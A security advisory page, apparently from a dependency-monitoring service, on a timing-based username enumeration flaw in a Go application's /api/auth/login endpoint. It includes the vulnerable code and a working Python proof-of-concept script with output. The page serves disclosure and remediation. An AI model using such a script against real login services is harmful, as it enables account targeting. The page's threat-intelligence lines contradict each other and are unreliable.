Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7789-65hx-f26w
No affected components available
Summary
The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.
Details
The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.
user, err := userStore.Get(username)
if err != nil {
return nil, fmt.Errorf("unable to get user from store: %v", err)
}
err = users.CheckPwd(password, user.Password)
if err != nil {
return nil, err
}
If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.
As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.
In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.
PoC
The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.
import requests
import time
import statistics
# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]
def measure(username):
start = time.perf_counter()
requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
return time.perf_counter() - start
# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")
# 2. Validation Test
for user in WORDLIST:
t = measure(user)
status = "VALID" if t > threshold else "invalid"
print(f"{user:<15} | {t:.4f}s | {status}")
Example output (with admin and user2 configured as valid users in the application):
$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin | 0.0505s | VALID
root | 0.0019s | invalid
user2 | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid
Impact
An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard